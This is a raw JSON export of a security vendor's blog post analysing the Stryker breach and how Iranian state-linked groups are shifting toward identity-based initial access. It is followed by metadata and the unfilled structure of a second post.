",{"data":64916,"content":64918,"nodeType":882},{"uri":64917},"https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=org",[64919],{"data":64920,"marks":64921,"value":64922,"nodeType":865},{},[],"targeting cloud identities in November 2025",{"data":64924,"marks":64925,"value":64926,"nodeType":865},{},[],", deploying the Evilginx2 AitM toolkit against Microsoft 365 users in Israel.",{"data":64928,"content":64929,"nodeType":1003},{},[64930],{"data":64931,"content":64932,"nodeType":866},{},[64933,64938,64942,64949],{"data":64934,"marks":64935,"value":64937,"nodeType":865},{},[64936],{"type":961},"CrustyKrill",{"data":64939,"marks":64940,"value":64941,"nodeType":865},{},[]," (TA455/Smoke Sandstorm) ",{"data":64943,"content":64944,"nodeType":882},{"uri":64917},[64945],{"data":64946,"marks":64947,"value":64948,"nodeType":865},{},[],"uses fake Google Meet and Microsoft Teams pages",{"data":64950,"marks":64951,"value":64952,"nodeType":865},{},[]," with a live operator intercepting 2FA codes in real time, alongside Azure Web Apps for C2.",{"data":64954,"content":64955,"nodeType":866},{},[64956,64959,64967],{"data":64957,"marks":64958,"value":5221,"nodeType":865},{},[],{"data":64960,"content":64962,"nodeType":882},{"uri":64961},"https://media.defense.gov/2024/Oct/16/2003565317/-1/-1/0/CSA-IRAN-CYBER-BRUTE-FORCE-CRITICAL-INFRASTRUCTURE-ORGS.PDF",[64963],{"data":64964,"marks":64965,"value":64966,"nodeType":865},{},[],"joint advisory from six nations",{"data":64968,"marks":64969,"value":64970,"nodeType":865},{},[]," (FBI, CISA, NSA, CSE, AFP, ASD, advisory AA24-290A, October 2024) confirmed the pattern at the government level, documenting Iranian actors using brute force, password spraying, and MFA push bombing to compromise critical infrastructure accounts since October 2023, and assessing that the actors sell this access on cybercriminal forums.",{"data":64972,"content":64973,"nodeType":1458},{},[64974],{"data":64975,"marks":64976,"value":64978,"nodeType":865},{},[64977],{"type":961},"MOIS groups are changing their approach too",{"data":64980,"content":64981,"nodeType":866},{},[64982],{"data":64983,"marks":64984,"value":64985,"nodeType":865},{},[],"On the MOIS side, the documented TTP baseline has historically centred on custom malware, network-level persistence, and exploitation of on-premises infrastructure. But identity compromise, particularly credential theft, has been a consistent thread across broader MOIS groups too:",{"data":64987,"content":64988,"nodeType":1049},{},[64989,65028,65055,65106],{"data":64990,"content":64991,"nodeType":1003},{},[64992],{"data":64993,"content":64994,"nodeType":866},{},[64995,65000,65004,65012,65016,65024],{"data":64996,"marks":64997,"value":64999,"nodeType":865},{},[64998],{"type":961},"APT34 (OilRig) ",{"data":65001,"marks":65002,"value":65003,"nodeType":865},{},[],"built its reputation on DNS tunnelling and custom backdoors, but its initial access methods include spearphishing and fake VPN portals for credential harvesting. Its 2024 campaigns introduced ",{"data":65005,"content":65007,"nodeType":882},{"uri":65006},"https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html",[65008],{"data":65009,"marks":65010,"value":65011,"nodeType":865},{},[],"password filter DLLs",{"data":65013,"marks":65014,"value":65015,"nodeType":865},{},[]," registered at the domain controller level to intercept plaintext credentials during password change events, with the ",{"data":65017,"content":65019,"nodeType":882},{"uri":65018},"https://www.bleepingcomputer.com/news/security/oilrig-hackers-now-exploit-windows-flaw-to-elevate-privileges/",[65020],{"data":65021,"marks":65022,"value":65023,"nodeType":865},{},[],"STEALHOOK backdoor",{"data":65025,"marks":65026,"value":65027,"nodeType":865},{},[]," exfiltrating stolen domain credentials via compromised Exchange servers. Cloud-based downloaders leveraging OneDrive and Microsoft Graph API were active against Israeli targets from 2022 to 2024.",{"data":65029,"content":65030,"nodeType":1003},{},[65031],{"data":65032,"content":65033,"nodeType":866},{},[65034,65039,65043,65051],{"data":65035,"marks":65036,"value":65038,"nodeType":865},{},[65037],{"type":961},"APT39 (Chafer) ",{"data":65040,"marks":65041,"value":65042,"nodeType":865},{},[],"operated through the ",{"data":65044,"content":65046,"nodeType":882},{"uri":65045},"https://home.treasury.gov/news/press-releases/sm1127",[65047],{"data":65048,"marks":65049,"value":65050,"nodeType":865},{},[],"sanctioned front company Rana Intelligence Computing",{"data":65052,"marks":65053,"value":65054,"nodeType":865},{},[],", focuses on surveillance and tracking of individuals, using credential harvesting through spoofed airline and telecom domains across 30+ countries.",{"data":65056,"content":65057,"nodeType":1003},{},[65058],{"data":65059,"content":65060,"nodeType":866},{},[65061,65066,65070,65078,65082,65090,65094,65102],{"data":65062,"marks":65063,"value":65065,"nodeType":865},{},[65064],{"type":961},"MuddyWater",{"data":65067,"marks":65068,"value":65069,"nodeType":865},{},[],", confirmed by a ",{"data":65071,"content":65073,"nodeType":882},{"uri":65072},"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a",[65074],{"data":65075,"marks":65076,"value":65077,"nodeType":865},{},[],"joint CISA/FBI/NSA/NCSC advisory",{"data":65079,"marks":65080,"value":65081,"nodeType":865},{},[]," as a subordinate element of MOIS, functions as an initial access broker within the ecosystem. Its operations rely on spearphishing and abuse of legitimate RMM tools, but the group has developed ",{"data":65083,"content":65085,"nodeType":882},{"uri":65084},"https://thehackernews.com/2025/12/iran-linked-hackers-hits-israeli_2.html",[65086],{"data":65087,"marks":65088,"value":65089,"nodeType":865},{},[],"dedicated credential stealers",{"data":65091,"marks":65092,"value":65093,"nodeType":865},{},[]," including CE-Notes (which bypasses Chrome's app-bound encryption), Blub (a multi-browser credential extractor), and LP-Notes (fake Windows Security dialogs to capture system credentials). A parallel campaign documented by ",{"data":65095,"content":65097,"nodeType":882},{"uri":65096},"https://www.group-ib.com/blog/muddywater-espionage/",[65098],{"data":65099,"marks":65100,"value":65101,"nodeType":865},{},[],"Group-IB",{"data":65103,"marks":65104,"value":65105,"nodeType":865},{},[]," found the group deploying a custom Chromium credential stealer alongside its Phoenix backdoor.",{"data":65107,"content":65108,"nodeType":1003},{},[65109],{"data":65110,"content":65111,"nodeType":866},{},[65112,65117],{"data":65113,"marks":65114,"value":65116,"nodeType":865},{},[65115],{"type":961},"Lyceum (Hexane)",{"data":65118,"marks":65119,"value":65120,"nodeType":865},{},[]," overlaps operationally with APT34 and uses password spraying and brute-force attacks for initial access, and notably probed Albanian government infrastructure ahead of Handala destructive attacks in 2022, illustrating the collaborative model across MOIS groups.",{"data":65122,"content":65123,"nodeType":866},{},[65124,65128,65136],{"data":65125,"marks":65126,"value":65127,"nodeType":865},{},[],"Check Point has also ",{"data":65129,"content":65131,"nodeType":882},{"uri":65130},"https://research.checkpoint.com/2026/iranian-mois-actors-the-cyber-crime-connection/",[65132],{"data":65133,"marks":65134,"value":65135,"nodeType":865},{},[],"documented",{"data":65137,"marks":65138,"value":65139,"nodeType":865},{},[]," a broader pattern of MOIS actors engaging directly with the criminal ecosystem, including Handala's adoption of the Rhadamanthys commercial infostealer and Iranian-affiliated operators working through the Qilin ransomware-as-a-service infrastructure.",{"data":65141,"content":65145,"nodeType":925},{"target":65142},{"sys":65143},{"id":65144,"type":922,"linkType":923},"2SFtROFuPZ4SPTL87Vpjr9",[],{"data":65147,"content":65148,"nodeType":953},{},[],{"data":65150,"content":65151,"nodeType":963},{},[65152],{"data":65153,"marks":65154,"value":65156,"nodeType":865},{},[65155],{"type":961},"The problem with over-indexing on TTPs",{"data":65158,"content":65159,"nodeType":866},{},[65160],{"data":65161,"marks":65162,"value":65163,"nodeType":865},{},[],"Threat intelligence has real value. Attributing campaigns to named groups, mapping their techniques to MITRE ATT&CK, and generating detection rules gives defenders a meaningful starting point. The problem is treating a specific actor's historical TTP catalogue as the primary basis for detection logic, rather than combining it with the broader trends in attacker behaviour visible across the entire landscape.",{"data":65165,"content":65166,"nodeType":866},{},[65167],{"data":65168,"marks":65169,"value":65170,"nodeType":865},{},[],"Operators are creative and pragmatic. If the path of least resistance is a compromised admin credential and a legitimate MDM feature, no serious attacker is going to deploy custom wiper malware instead because that's what they used last time.",{"data":65172,"content":65173,"nodeType":866},{},[65174],{"data":65175,"marks":65176,"value":65177,"nodeType":865},{},[],"If your threat model says you're a plausible target for an Iranian threat group, and the trend data tells you that identity compromise is the most common initial access method across all actors, the rational response is to evaluate your controls aligned to identity-based initial access, not just deploy signatures for BiBi Wiper. When the specific actor profile crowds out the general trend data, you end up building defences against the last attack and leaving yourself exposed to the shift that every actor is going through.",{"data":65179,"content":65180,"nodeType":953},{},[],{"data":65182,"content":65183,"nodeType":963},{},[65184],{"data":65185,"marks":65186,"value":65188,"nodeType":865},{},[65187],{"type":961},"Evaluating the security guidance",{"data":65190,"content":65191,"nodeType":866},{},[65192,65196,65204,65208,65216,65220,65225],{"data":65193,"marks":65194,"value":65195,"nodeType":865},{},[],"In the wake of the breach, industry guidance has settled around enforcing phishing-resistant MFA on privileged accounts, implementing just-in-time privilege activation via ",{"data":65197,"content":65199,"nodeType":882},{"uri":65198},"https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure",[65200],{"data":65201,"marks":65202,"value":65203,"nodeType":865},{},[],"PIM",{"data":65205,"marks":65206,"value":65207,"nodeType":865},{},[],", enabling ",{"data":65209,"content":65211,"nodeType":882},{"uri":65210},"https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/multi-admin-approval",[65212],{"data":65213,"marks":65214,"value":65215,"nodeType":865},{},[],"Multi Admin Approval ",{"data":65217,"marks":65218,"value":65219,"nodeType":865},{},[],"for high-risk Intune operations, configuring anomaly alerting on bulk device actions, and segregating administrative identities from everyday user accounts. This is all sound advice, but these recommendations are designed to limit what an attacker can do ",{"data":65221,"marks":65222,"value":65224,"nodeType":865},{},[65223],{"type":944},"after",{"data":65226,"marks":65227,"value":65228,"nodeType":865},{},[]," an account has already been compromised — introducing friction, but not blocking them entirely.",{"data":65230,"content":65231,"nodeType":866},{},[65232,65236,65244,65248,65256],{"data":65233,"marks":65234,"value":65235,"nodeType":865},{},[],"The detection challenges compound this. Entra ID sign-in logs and ",{"data":65237,"content":65239,"nodeType":882},{"uri":65238},"https://www.a6n.co.uk/2025/11/tracking-device-wipes-in-microsoft.html",[65240],{"data":65241,"marks":65242,"value":65243,"nodeType":865},{},[],"Intune audit logs exist in separate systems",{"data":65245,"marks":65246,"value":65247,"nodeType":865},{},[]," with separate correlation IDs. Tracing a sign-in to a subsequent device action requires deliberate log integration that many organizations haven't implemented. The ",{"data":65249,"content":65251,"nodeType":882},{"uri":65250},"https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/monitor-audit-logs",[65252],{"data":65253,"marks":65254,"value":65255,"nodeType":865},{},[],"logs do record",{"data":65257,"marks":65258,"value":65259,"nodeType":865},{},[]," \"wipe ManagedDevice\" events, but may not be linked to real-time alerting. And the underlying action, Intune's Remote Wipe, is a legitimate feature used routinely in enterprise IT. Again, the attack could have succeeded even with these in place.",{"data":65261,"content":65262,"nodeType":866},{},[65263],{"data":65264,"marks":65265,"value":65266,"nodeType":865},{},[],"In a world where a compromised account can be rapidly exploited, it's vital to focus on improving detection and prevention as early as possible in the kill chain — combating initial access techniques themselves.",{"data":65268,"content":65272,"nodeType":925},{"target":65269},{"sys":65270},{"id":65271,"type":922,"linkType":923},"4H3AzW7q4QBv7pJawSqQBJ",[],{"data":65274,"content":65275,"nodeType":953},{},[],{"data":65277,"content":65278,"nodeType":963},{},[65279],{"data":65280,"marks":65281,"value":40053,"nodeType":865},{},[65282],{"type":961},{"data":65284,"content":65285,"nodeType":866},{},[65286],{"data":65287,"marks":65288,"value":65289,"nodeType":865},{},[],"The Stryker attack reflects what attackers everywhere — from financially motivated criminal groups to more destructive nation-state operators — are already doing. Identity-based initial access, abuse of legitimate tools and services, and living-off-the-land execution are the current standard operating procedure.",{"data":65291,"content":65292,"nodeType":866},{},[65293],{"data":65294,"marks":65295,"value":65296,"nodeType":865},{},[],"Even with a perfectly hardened environment, most public breaches today involve attackers hijacking SSO mechanisms to move into connected applications, exfiltrating data for resale or extortion, and in some cases leveraging cloud services and admin platforms to deploy ransomware (the Scattered Spider playbook of dropping ransomware via VMware management portal being a well-documented example).",{"data":65298,"content":65299,"nodeType":866},{},[65300],{"data":65301,"marks":65302,"value":65303,"nodeType":865},{},[],"The majority of attackers will have no interest in destructively wiping an Intune environment — that's difficult to monetize. But the techniques that enabled the Stryker wipe are the same as those that enable financially motivated breaches at scale, pointing to a challenge that extends well beyond Iran-nexus threat actors and MDM hardening.",{"data":65305,"content":65306,"nodeType":953},{},[],{"data":65308,"content":65309,"nodeType":963},{},[65310],{"data":65311,"marks":65312,"value":65314,"nodeType":865},{},[65313],{"type":961},"About Push Security",{"data":65316,"content":65317,"nodeType":866},{},[65318],{"data":65319,"marks":65320,"value":65321,"nodeType":865},{},[],"Push Security's browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":65323,"content":65324,"nodeType":866},{},[65325,65328,65334,65337,65343,65346,65352],{"data":65326,"marks":65327,"value":32401,"nodeType":865},{},[],{"data":65329,"content":65330,"nodeType":882},{"uri":22700},[65331],{"data":65332,"marks":65333,"value":22706,"nodeType":865},{},[],{"data":65335,"marks":65336,"value":2186,"nodeType":865},{},[],{"data":65338,"content":65339,"nodeType":882},{"uri":22712},[65340],{"data":65341,"marks":65342,"value":32419,"nodeType":865},{},[],{"data":65344,"marks":65345,"value":22722,"nodeType":865},{},[],{"data":65347,"content":65348,"nodeType":882},{"uri":1728},[65349],{"data":65350,"marks":65351,"value":22730,"nodeType":865},{},[],{"data":65353,"marks":65354,"value":1048,"nodeType":865},{},[],"The Stryker breach didn't match the playbook. That shouldn't be a surprise.","Analysing the Stryker breach in line with recent changes to the Iran-nexus cyber playbook.","2026-03-19T00:00:00.000Z","stryker-handala-report",{"items":65360},[65361,65363],{"sys":65362,"name":11426},{"id":11425},{"sys":65364,"name":342},{"id":8410},{"items":65366},[65367],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":65368},{"url":11434},"blog/the-cisos-data-problem-and-how-browser-telemetry-can-help",{"json":65371},{"data":65372,"content":65373,"nodeType":1739},{},[65374],{"data":65375,"content":65376,"nodeType":866},{},[65377],{"data":65378,"marks":65379,"value":65380,"nodeType":865},{},[],"For most security teams, quantifying cyber risk means borrowing someone else's numbers. For the identity attack surface that now dominates modern attack campaigns, high-fidelity browser telemetry changes that.",{"id":10136,"publishedAt":65382},"2026-08-12T11:52:56.247Z",{"items":65384},[65385,65387],{"sys":65386,"name":2825},{"id":2824},{"sys":65388,"name":342},{"id":8410},{"items":65390},[65391,65393,65395,65397,65399,65401,65403,65405,65407,65409,65411,65413,65415,65417,65419,65421,65423,65425,65427,65429,65431,65433,65435],{"sys":65392,"name":297,"slug":298,"tier":31},{"id":294},{"sys":65394,"name":413,"slug":414,"tier":31},{"id":410},{"sys":65396,"name":279,"slug":280,"tier":31},{"id":276},{"sys":65398,"name":519,"slug":520,"tier":31},{"id":516},{"sys":65400,"name":235,"slug":236,"tier":31},{"id":232},{"sys":65402,"name":342,"slug":343,"tier":31},{"id":339},{"sys":65404,"name":580,"slug":581,"tier":45},{"id":577},{"sys":65406,"name":484,"slug":485,"tier":45},{"id":481},{"sys":65408,"name":315,"slug":316,"tier":45},{"id":312},{"sys":65410,"name":502,"slug":503,"tier":45},{"id":499},{"sys":65412,"name":457,"slug":458,"tier":45},{"id":454},{"sys":65414,"name":395,"slug":396,"tier":45},{"id":392},{"sys":65416,"name":288,"slug":289,"tier":45},{"id":285},{"sys":65418,"name":324,"slug":325,"tier":45},{"id":321},{"sys":65420,"name":360,"slug":361,"tier":45},{"id":357},{"sys":65422,"name":475,"slug":476,"tier":45},{"id":472},{"sys":65424,"name":440,"slug":441,"tier":45},{"id":437},{"sys":65426,"name":261,"slug":262,"tier":45},{"id":258},{"sys":65428,"name":571,"slug":572,"tier":45},{"id":568},{"sys":65430,"name":589,"slug":590,"tier":45},{"id":586},{"sys":65432,"name":633,"slug":634,"tier":45},{"id":630},{"sys":65434,"name":528,"slug":529,"tier":45},{"id":525},{"sys":65436,"name":422,"slug":423,"tier":45},{"id":419},"0uIXQfHGqG5ggB63oTQMHHDsYjEefxJ1h3UuxIYOezk",{"id":65439,"title":19778,"authorsCollection":65440,"content":65445,"extension":228,"faqItemsCollection":66176,"faqTitle":59,"featured":19,"hashTags":59,"meta":66178,"metaTitle":66179,"ogImage":59,"postType":1783,"publishedDate":19780,"relatedBlogPostsCollection":66180,"slug":19781,"stem":69382,"subtitle":59,"summary":69383,"synopsis":19779,"sys":69394,"tagsCollection":69396,"topicsCollection":69402,"__hash__":69436},"blog/blog/introducing-the-browser-and-identity-attacks-matrix.json",{"items":65441},[65442],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":65443,"profilePicture":65444},[17536],{"url":11434},{"json":65446,"links":66154},{"data":65447,"content":65448,"nodeType":1739},{},[65449,65464,65479,65494,65499,65502,65509,65515,65521,65527,65533,65540,65543,65550,65556,65562,65568,65573,65580,65595,65601,65607,65620,65627,65651,65664,65670,65694,65701,65725,65731,65738,65753,65759,65765,65770,65776,65783,65798,65804,65820,65826,65829,65836,65842,65917,65923,65936,65939,65964,65979,65985,65991,65994,66001,66016,66022,66028,66043,66046,66053,66059,66089,66095,66110,66125,66130,66133,66139],{"data":65450,"content":65451,"nodeType":866},{},[65452,65455,65461],{"data":65453,"marks":65454,"value":18958,"nodeType":865},{},[],{"data":65456,"content":65457,"nodeType":882},{"uri":18961},[65458],{"data":65459,"marks":65460,"value":18966,"nodeType":865},{},[],{"data":65462,"marks":65463,"value":18970,"nodeType":865},{},[],{"data":65465,"content":65466,"nodeType":866},{},[65467,65470,65476],{"data":65468,"marks":65469,"value":18977,"nodeType":865},{},[],{"data":65471,"content":65472,"nodeType":882},{"uri":18980},[65473],{"data":65474,"marks":65475,"value":18985,"nodeType":865},{},[],{"data":65477,"marks":65478,"value":18989,"nodeType":865},{},[],{"data":65480,"content":65481,"nodeType":866},{},[65482,65485,65491],{"data":65483,"marks":65484,"value":18996,"nodeType":865},{},[],{"data":65486,"content":65487,"nodeType":882},{"uri":18999},[65488],{"data":65489,"marks":65490,"value":15454,"nodeType":865},{},[],{"data":65492,"marks":65493,"value":19007,"nodeType":865},{},[],{"data":65495,"content":65498,"nodeType":925},{"target":65496},{"sys":65497},{"id":19012,"type":922,"linkType":923},[],{"data":65500,"content":65501,"nodeType":953},{},[],{"data":65503,"content":65504,"nodeType":963},{},[65505],{"data":65506,"marks":65507,"value":19024,"nodeType":865},{},[65508],{"type":961},{"data":65510,"content":65511,"nodeType":866},{},[65512],{"data":65513,"marks":65514,"value":19031,"nodeType":865},{},[],{"data":65516,"content":65517,"nodeType":866},{},[65518],{"data":65519,"marks":65520,"value":19038,"nodeType":865},{},[],{"data":65522,"content":65523,"nodeType":866},{},[65524],{"data":65525,"marks":65526,"value":19045,"nodeType":865},{},[],{"data":65528,"content":65529,"nodeType":866},{},[65530],{"data":65531,"marks":65532,"value":19052,"nodeType":865},{},[],{"data":65534,"content":65535,"nodeType":866},{},[65536],{"data":65537,"marks":65538,"value":19060,"nodeType":865},{},[65539],{"type":961},{"data":65541,"content":65542,"nodeType":953},{},[],{"data":65544,"content":65545,"nodeType":963},{},[65546],{"data":65547,"marks":65548,"value":19071,"nodeType":865},{},[65549],{"type":961},{"data":65551,"content":65552,"nodeType":866},{},[65553],{"data":65554,"marks":65555,"value":19078,"nodeType":865},{},[],{"data":65557,"content":65558,"nodeType":866},{},[65559],{"data":65560,"marks":65561,"value":19085,"nodeType":865},{},[],{"data":65563,"content":65564,"nodeType":866},{},[65565],{"data":65566,"marks":65567,"value":19092,"nodeType":865},{},[],{"data":65569,"content":65572,"nodeType":925},{"target":65570},{"sys":65571},{"id":19097,"type":922,"linkType":923},[],{"data":65574,"content":65575,"nodeType":1458},{},[65576],{"data":65577,"marks":65578,"value":19106,"nodeType":865},{},[65579],{"type":961},{"data":65581,"content":65582,"nodeType":866},{},[65583,65586,65592],{"data":65584,"marks":65585,"value":19113,"nodeType":865},{},[],{"data":65587,"content":65588,"nodeType":882},{"uri":8581},[65589],{"data":65590,"marks":65591,"value":19120,"nodeType":865},{},[],{"data":65593,"marks":65594,"value":19124,"nodeType":865},{},[],{"data":65596,"content":65597,"nodeType":866},{},[65598],{"data":65599,"marks":65600,"value":19131,"nodeType":865},{},[],{"data":65602,"content":65603,"nodeType":866},{},[65604],{"data":65605,"marks":65606,"value":19138,"nodeType":865},{},[],{"data":65608,"content":65609,"nodeType":866},{},[65610,65613,65617],{"data":65611,"marks":65612,"value":19145,"nodeType":865},{},[],{"data":65614,"marks":65615,"value":19150,"nodeType":865},{},[65616],{"type":961},{"data":65618,"marks":65619,"value":19154,"nodeType":865},{},[],{"data":65621,"content":65622,"nodeType":1458},{},[65623],{"data":65624,"marks":65625,"value":19162,"nodeType":865},{},[65626],{"type":961},{"data":65628,"content":65629,"nodeType":866},{},[65630,65633,65639,65642,65648],{"data":65631,"marks":65632,"value":19169,"nodeType":865},{},[],{"data":65634,"content":65635,"nodeType":882},{"uri":10494},[65636],{"data":65637,"marks":65638,"value":19176,"nodeType":865},{},[],{"data":65640,"marks":65641,"value":19180,"nodeType":865},{},[],{"data":65643,"content":65644,"nodeType":882},{"uri":1362},[65645],{"data":65646,"marks":65647,"value":19187,"nodeType":865},{},[],{"data":65649,"marks":65650,"value":19191,"nodeType":865},{},[],{"data":65652,"content":65653,"nodeType":866},{},[65654,65657,65661],{"data":65655,"marks":65656,"value":19198,"nodeType":865},{},[],{"data":65658,"marks":65659,"value":19203,"nodeType":865},{},[65660],{"type":961},{"data":65662,"marks":65663,"value":19207,"nodeType":865},{},[],{"data":65665,"content":65666,"nodeType":866},{},[65667],{"data":65668,"marks":65669,"value":19214,"nodeType":865},{},[],{"data":65671,"content":65672,"nodeType":866},{},[65673,65676,65682,65685,65691],{"data":65674,"marks":65675,"value":19221,"nodeType":865},{},[],{"data":65677,"content":65678,"nodeType":882},{"uri":11342},[65679],{"data":65680,"marks":65681,"value":19228,"nodeType":865},{},[],{"data":65683,"marks":65684,"value":19232,"nodeType":865},{},[],{"data":65686,"content":65687,"nodeType":882},{"uri":11102},[65688],{"data":65689,"marks":65690,"value":11095,"nodeType":865},{},[],{"data":65692,"marks":65693,"value":19242,"nodeType":865},{},[],{"data":65695,"content":65696,"nodeType":1458},{},[65697],{"data":65698,"marks":65699,"value":19250,"nodeType":865},{},[65700],{"type":961},{"data":65702,"content":65703,"nodeType":866},{},[65704,65707,65713,65716,65722],{"data":65705,"marks":65706,"value":19257,"nodeType":865},{},[],{"data":65708,"content":65709,"nodeType":882},{"uri":19260},[65710],{"data":65711,"marks":65712,"value":19265,"nodeType":865},{},[],{"data":65714,"marks":65715,"value":19269,"nodeType":865},{},[],{"data":65717,"content":65718,"nodeType":882},{"uri":3009},[65719],{"data":65720,"marks":65721,"value":19276,"nodeType":865},{},[],{"data":65723,"marks":65724,"value":19280,"nodeType":865},{},[],{"data":65726,"content":65727,"nodeType":866},{},[65728],{"data":65729,"marks":65730,"value":19287,"nodeType":865},{},[],{"data":65732,"content":65733,"nodeType":1458},{},[65734],{"data":65735,"marks":65736,"value":19295,"nodeType":865},{},[65737],{"type":961},{"data":65739,"content":65740,"nodeType":866},{},[65741,65744,65750],{"data":65742,"marks":65743,"value":19302,"nodeType":865},{},[],{"data":65745,"content":65746,"nodeType":882},{"uri":1384},[65747],{"data":65748,"marks":65749,"value":19309,"nodeType":865},{},[],{"data":65751,"marks":65752,"value":19313,"nodeType":865},{},[],{"data":65754,"content":65755,"nodeType":866},{},[65756],{"data":65757,"marks":65758,"value":19320,"nodeType":865},{},[],{"data":65760,"content":65761,"nodeType":866},{},[65762],{"data":65763,"marks":65764,"value":19327,"nodeType":865},{},[],{"data":65766,"content":65769,"nodeType":925},{"target":65767},{"sys":65768},{"id":19332,"type":922,"linkType":923},[],{"data":65771,"content":65772,"nodeType":866},{},[65773],{"data":65774,"marks":65775,"value":19340,"nodeType":865},{},[],{"data":65777,"content":65778,"nodeType":1458},{},[65779],{"data":65780,"marks":65781,"value":19348,"nodeType":865},{},[65782],{"type":961},{"data":65784,"content":65785,"nodeType":866},{},[65786,65789,65795],{"data":65787,"marks":65788,"value":19355,"nodeType":865},{},[],{"data":65790,"content":65791,"nodeType":882},{"uri":4136},[65792],{"data":65793,"marks":65794,"value":19362,"nodeType":865},{},[],{"data":65796,"marks":65797,"value":19366,"nodeType":865},{},[],{"data":65799,"content":65800,"nodeType":866},{},[65801],{"data":65802,"marks":65803,"value":19373,"nodeType":865},{},[],{"data":65805,"content":65806,"nodeType":866},{},[65807,65810,65817],{"data":65808,"marks":65809,"value":19380,"nodeType":865},{},[],{"data":65811,"content":65812,"nodeType":882},{"uri":4136},[65813],{"data":65814,"marks":65815,"value":19388,"nodeType":865},{},[65816],{"type":997},{"data":65818,"marks":65819,"value":19392,"nodeType":865},{},[],{"data":65821,"content":65822,"nodeType":866},{},[65823],{"data":65824,"marks":65825,"value":19399,"nodeType":865},{},[],{"data":65827,"content":65828,"nodeType":953},{},[],{"data":65830,"content":65831,"nodeType":963},{},[65832],{"data":65833,"marks":65834,"value":19410,"nodeType":865},{},[65835],{"type":961},{"data":65837,"content":65838,"nodeType":866},{},[65839],{"data":65840,"marks":65841,"value":19417,"nodeType":865},{},[],{"data":65843,"content":65844,"nodeType":1049},{},[65845,65863,65881,65899],{"data":65846,"content":65847,"nodeType":1003},{},[65848],{"data":65849,"content":65850,"nodeType":866},{},[65851,65854,65860],{"data":65852,"marks":65853,"value":19430,"nodeType":865},{},[],{"data":65855,"content":65856,"nodeType":882},{"uri":8759},[65857],{"data":65858,"marks":65859,"value":19437,"nodeType":865},{},[],{"data":65861,"marks":65862,"value":19441,"nodeType":865},{},[],{"data":65864,"content":65865,"nodeType":1003},{},[65866],{"data":65867,"content":65868,"nodeType":866},{},[65869,65872,65878],{"data":65870,"marks":65871,"value":19451,"nodeType":865},{},[],{"data":65873,"content":65874,"nodeType":882},{"uri":19454},[65875],{"data":65876,"marks":65877,"value":19459,"nodeType":865},{},[],{"data":65879,"marks":65880,"value":19463,"nodeType":865},{},[],{"data":65882,"content":65883,"nodeType":1003},{},[65884],{"data":65885,"content":65886,"nodeType":866},{},[65887,65890,65896],{"data":65888,"marks":65889,"value":19430,"nodeType":865},{},[],{"data":65891,"content":65892,"nodeType":882},{"uri":11102},[65893],{"data":65894,"marks":65895,"value":19479,"nodeType":865},{},[],{"data":65897,"marks":65898,"value":19483,"nodeType":865},{},[],{"data":65900,"content":65901,"nodeType":1003},{},[65902],{"data":65903,"content":65904,"nodeType":866},{},[65905,65908,65914],{"data":65906,"marks":65907,"value":873,"nodeType":865},{},[],{"data":65909,"content":65910,"nodeType":882},{"uri":19495},[65911],{"data":65912,"marks":65913,"value":3909,"nodeType":865},{},[],{"data":65915,"marks":65916,"value":19503,"nodeType":865},{},[],{"data":65918,"content":65919,"nodeType":866},{},[65920],{"data":65921,"marks":65922,"value":19510,"nodeType":865},{},[],{"data":65924,"content":65925,"nodeType":866},{},[65926,65929,65933],{"data":65927,"marks":65928,"value":19517,"nodeType":865},{},[],{"data":65930,"marks":65931,"value":19522,"nodeType":865},{},[65932],{"type":961},{"data":65934,"marks":65935,"value":19526,"nodeType":865},{},[],{"data":65937,"content":65938,"nodeType":953},{},[],{"data":65940,"content":65941,"nodeType":963},{},[65942,65946,65951,65955,65960],{"data":65943,"marks":65944,"value":19537,"nodeType":865},{},[65945],{"type":961},{"data":65947,"marks":65948,"value":19543,"nodeType":865},{},[65949,65950],{"type":944},{"type":961},{"data":65952,"marks":65953,"value":19548,"nodeType":865},{},[65954],{"type":961},{"data":65956,"marks":65957,"value":19554,"nodeType":865},{},[65958,65959],{"type":944},{"type":961},{"data":65961,"marks":65962,"value":19559,"nodeType":865},{},[65963],{"type":961},{"data":65965,"content":65966,"nodeType":866},{},[65967,65970,65976],{"data":65968,"marks":65969,"value":19566,"nodeType":865},{},[],{"data":65971,"content":65972,"nodeType":882},{"uri":19569},[65973],{"data":65974,"marks":65975,"value":19574,"nodeType":865},{},[],{"data":65977,"marks":65978,"value":19578,"nodeType":865},{},[],{"data":65980,"content":65981,"nodeType":866},{},[65982],{"data":65983,"marks":65984,"value":19585,"nodeType":865},{},[],{"data":65986,"content":65987,"nodeType":866},{},[65988],{"data":65989,"marks":65990,"value":19592,"nodeType":865},{},[],{"data":65992,"content":65993,"nodeType":953},{},[],{"data":65995,"content":65996,"nodeType":963},{},[65997],{"data":65998,"marks":65999,"value":19603,"nodeType":865},{},[66000],{"type":961},{"data":66002,"content":66003,"nodeType":866},{},[66004,66007,66013],{"data":66005,"marks":66006,"value":19610,"nodeType":865},{},[],{"data":66008,"content":66009,"nodeType":882},{"uri":19613},[66010],{"data":66011,"marks":66012,"value":19618,"nodeType":865},{},[],{"data":66014,"marks":66015,"value":19622,"nodeType":865},{},[],{"data":66017,"content":66018,"nodeType":866},{},[66019],{"data":66020,"marks":66021,"value":19629,"nodeType":865},{},[],{"data":66023,"content":66024,"nodeType":866},{},[66025],{"data":66026,"marks":66027,"value":19636,"nodeType":865},{},[],{"data":66029,"content":66030,"nodeType":866},{},[66031,66034,66040],{"data":66032,"marks":66033,"value":19643,"nodeType":865},{},[],{"data":66035,"content":66036,"nodeType":882},{"uri":19646},[66037],{"data":66038,"marks":66039,"value":19618,"nodeType":865},{},[],{"data":66041,"marks":66042,"value":1048,"nodeType":865},{},[],{"data":66044,"content":66045,"nodeType":953},{},[],{"data":66047,"content":66048,"nodeType":963},{},[66049],{"data":66050,"marks":66051,"value":1